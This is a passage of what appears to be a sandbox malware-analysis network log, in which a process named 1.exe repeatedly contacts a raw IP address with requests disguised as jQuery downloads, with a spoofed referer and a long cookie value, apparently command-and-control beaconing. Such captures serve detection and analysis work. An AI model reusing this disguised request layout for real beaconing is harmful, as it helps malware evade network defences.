2025-01-02 09:34:34 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:34:35 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:34:35 GMT Server: NetDNA-cache/2.2 Content-Length: 5692 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:34:35 UTC	5692	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49836	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:34:36 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:34:37 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:34:37 GMT Server: NetDNA-cache/2.2 Content-Length: 5649 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:34:37 UTC	5649	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49849	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:34:38 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:34:39 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:34:39 GMT Server: NetDNA-cache/2.2 Content-Length: 5649 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:34:39 UTC	5649	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49863	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:34:40 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:34:41 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:34:41 GMT Server: NetDNA-cache/2.2 Content-Length: 5671 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:34:41 UTC	5671	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49878	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:34:42 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:34:43 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:34:42 GMT Server: NetDNA-cache/2.2 Content-Length: 5628 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:34:43 UTC	5628	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49890	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:34:44 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:34:45 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:34:44 GMT Server: NetDNA-cache/2.2 Content-Length: 5649 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:34:45 UTC	5649	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49906	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:34:46 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:34:47 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:34:46 GMT Server: NetDNA-cache/2.2 Content-Length: 5607 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:34:47 UTC	5607	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49918	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:34:48 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:34:48 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:34:48 GMT Server: NetDNA-cache/2.2 Content-Length: 5671 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:34:48 UTC	5671	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49933	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:34:50 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:34:50 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:34:50 GMT Server: NetDNA-cache/2.2 Content-Length: 5628 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:34:50 UTC	5628	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49945	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:34:52 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:34:53 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:34:53 GMT Server: NetDNA-cache/2.2 Content-Length: 5628 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:34:53 UTC	5628	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49962	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:34:54 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:34:55 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:34:55 GMT Server: NetDNA-cache/2.2 Content-Length: 5671 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:34:55 UTC	5671	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49978	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
